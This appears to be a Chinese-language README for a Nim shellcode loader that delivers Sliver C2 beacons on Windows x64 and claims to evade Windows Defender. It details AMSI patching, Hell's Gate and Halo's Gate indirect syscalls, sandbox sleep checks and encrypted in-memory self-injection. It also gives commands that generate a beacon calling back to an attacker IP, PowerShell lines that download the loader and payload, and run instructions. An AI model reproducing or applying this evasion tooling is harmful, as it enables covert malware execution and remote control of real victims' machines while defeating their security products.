一个用 Nim 编写的 Sliver shellcode 加载器,针对 Windows x64。包含两种变体,涵盖最常见的两种投递场景。已在开启实时保护的 Windows Defender 环境下测试通过。
从磁盘读取加密的 shellcode 文件,在内存中解密并自注入。适用于已具备文件投放能力,且需要一个轻量简单二进制文件的场景。
loader.exe <shellcode.bin> [key_hex iv_hex]
密钥和 IV 可选。如果省略,文件将被视为未加密的原始 shellcode。
通过 Windows WinHTTP 栈从你的 C2 服务器下载加密的 shellcode 文件,在内存中解密并自注入。没有任何文件触及磁盘。适用于你可以在目标上执行一个二进制文件,但无法可靠地投放第二个文件的场景。
在编译前,编辑 stageless/loader.nim 顶部的常量:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 来自 encrypt.py 的 64 个十六进制字符
scIV = "..." # 来自 encrypt.py 的 32 个十六进制字符
stageless 加载器在启动时调用 Sleep(5000),并用 GetTickCount64 测量实际经过的时间。如果经过时间少于 4500ms,进程退出。大多数自动化沙箱环境会快速跳过或忽略休眠,导致检测失败。此检查在网络活动或 shellcode 执行之前运行,因此沙箱看不到任何网络行为。
amsi.nim 在运行时通过两层混淆修补 AmsiScanBuffer:
通过 FNV-1a 哈希隐藏字符串。 字符串 AmsiScanBuffer 永远不会出现在二进制文件中。相反,其 FNV-1a 哈希在编译时计算并存储为常量。在运行时,加载器遍历 amsi.dll 的导出表,对每个导出名称进行哈希,并与存储的值进行比较,从而找到函数地址,而无需在内存中保留该字符串。
编译时 XOR 混淆。 DLL 名称 (amsi.dll) 和修补字节 (xor eax, eax; ret = 31 C0 C3) 都在编译时通过 Python 子进程生成的随机密钥进行 XOR 编码。密钥作为常量嵌入,字节在运行时立即解码后使用。每次构建原始字节都会改变,从而破坏修补序列的静态签名。
该修补将 AmsiScanBuffer 的前三个字节覆盖为 xor eax, eax; ret,使得每次调用都返回 AMSI_RESULT_CLEAN,无论输入是什么。
encrypt.py 使用 AES-256-CBC 加密原始 shellcode,使用随机生成的 32 字节密钥和 16 字节 IV。加载器使用 Windows BCrypt API 就地解密,因此目标上不需要第三方加密库。
内存先以 PAGE_READWRITE 分配,shellcode 写入其中,然后在执行前将区域切换为 PAGE_EXECUTE_READ。直接以 PAGE_EXECUTE_READWRITE 分配是一个众所周知的特征,Defender 和 EDR 会明确标记。将写入和执行阶段分开可以避免该模式。
stageless/syscalls.nim 同时绕过了 Win32 API 层(kernel32.dll)以及 EDR 在 ntdll.dll 中放置的任何用户态挂钩。
SSN 解析。 在启动时,加载器获取 ntdll 的基地址并解析其 PE 导出表,收集按 RVA 排序的所有 Nt* 导出。对于每个所需的 NT 函数,它检查前四个字节:
4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) 表示存根是干净的,SSN 直接从字节 4-5 读取。这是 Hell's Gate。邻居_SSN +/- 距离 计算出目标 SSN。按地址顺序,每个存根的 SSN 递增 1。这是 Halo's Gate。Gadget 定位。 加载器扫描找到的第一个干净 Nt* 存根,寻找字节序列 0F 05 C3 (syscall; ret)。这给出了 ntdll 的映像支持的 .text 段内的一个地址,我们可以重用。
存根生成。 对于每个所需函数,一个 22 字节的存根被写入单个 RW 页面,该页面在使用前切换为 RX:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx gadget 地址
jmp [rip+0] 解引用紧随其后的 8 个字节(gadget 地址)并将执行重定向到 ntdll 中现有的 syscall; ret 序列。syscall 指令从 ntdll 的 .text 段而不是我们的匿名分配区域发出,从而绕过内核级对发出系统调用的内存区域的追踪。
四个通过间接系统调用覆盖的函数是 NtAllocateVirtualMemory、NtProtectVirtualMemory、NtCreateThreadEx 和 NtWaitForSingleObject。
解密后,stageless 加载器通过 NtAllocateVirtualMemory 在其自身进程中分配一个 RW 区域,通过 copyMem 复制 shellcode,通过 NtProtectVirtualMemory 将区域切换为 RX,然后通过 NtCreateThreadEx 生成一个线程。主线程随后通过 NtWaitForSingleObject 无限阻塞,保持进程存活,同时 beacon 的 goroutine 运行。所有四个调用都通过上述间接系统调用存根进行。
自注入保持调用面最小。没有跨进程 API 调用(如 WriteProcessMemory、CreateRemoteThread 等),这些是经典远程注入的主要检测向量。
AmsiScanBuffer,覆盖为 xor eax, eax; retsyscall; ret gadget,写入存根NtAllocateVirtualMemory 在当前进程中分配 RW 内存NtProtectVirtualMemory 切换为 PAGE_EXECUTE_READNtCreateThreadExNtWaitForSingleObject 等待线程句柄VirtualAlloc (RW),复制 shellcode,VirtualProtect 切换为 RX在你的 Linux 构建机器上:
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
编辑 stageless/loader.nim 并设置 c2Host、c2Port、c2Path、scKey、scIV,然后从项目根目录执行:
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
始终从项目根目录编译,这样只会加载根目录下的 nim.cfg。输出是一个静态链接的 Windows x64 PE,除了标准系统库外没有外部 DLL 依赖。
Stageless:在匹配 c2Port 的端口上通过 HTTP 提供加密文件:
cd bins && python3 -m http.server 443
Stager:将两个文件传输到目标:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
Stageless:
loader.exe
Stager(带加密):
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
Stager(无加密):
loader.exe shellcode.bin
如果通过 PowerShell 下载摇篮投递,加载器运行前 AMSI 会扫描脚本。先在 PS 会话中修补 AMSI:
python3 gen_amsi.py
将输出粘贴到 PS 会话中,然后再下载或执行任何内容。该脚本通过导出表哈希解析 AmsiScanBuffer,因此字符串不会以明文形式出现,并且所有修补字节都使用每个运行随机生成的密钥进行 XOR 编码。
BCryptSetProperty 设置链模式时返回 STATUS_INVALID_PARAMETER,但 BCrypt 默认使用 CBC,解密能正常工作syscall 指令从 ntdll 的 .text 段内(映像支持,Microsoft 签名)而不是从存根页面发出,从而绕过内核级系统调用来源追踪你可以在我的博客找到更多关于 Defender 机制、技术及其他工具的详细信息。